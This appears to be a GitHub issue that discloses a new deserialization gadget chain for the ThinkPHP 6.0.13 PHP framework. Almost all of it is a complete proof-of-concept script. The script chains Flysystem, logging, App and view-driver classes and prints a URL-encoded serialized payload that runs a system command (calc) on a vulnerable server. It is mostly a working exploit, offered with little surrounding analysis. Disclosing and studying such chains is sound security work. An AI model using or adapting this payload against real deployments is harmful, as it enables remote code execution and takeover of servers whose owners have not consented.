

[New issue](#)[Jump to bottom](#)

There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.13 #2749

Open hzy030628 opened this issue on Aug 14 · 0 comments

hzy030628 commented on Aug 14

Any method of any class, where eval is called to execute php code, thereby executing php and writing to a file.

```
<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
```

```

        $this->url = '<?php system(\'calc\'); exit(); ?>';
    }
}
class App{
    protected $instances = [];
    public function __construct()
    {
        $this->instances = ['think\Request'=>new Request()];
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(serialize($a));
}

```



hzy030628 changed the title ~~There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.12~~ There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.13 on Aug 15



Rodots mentioned this issue on Sep 20

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

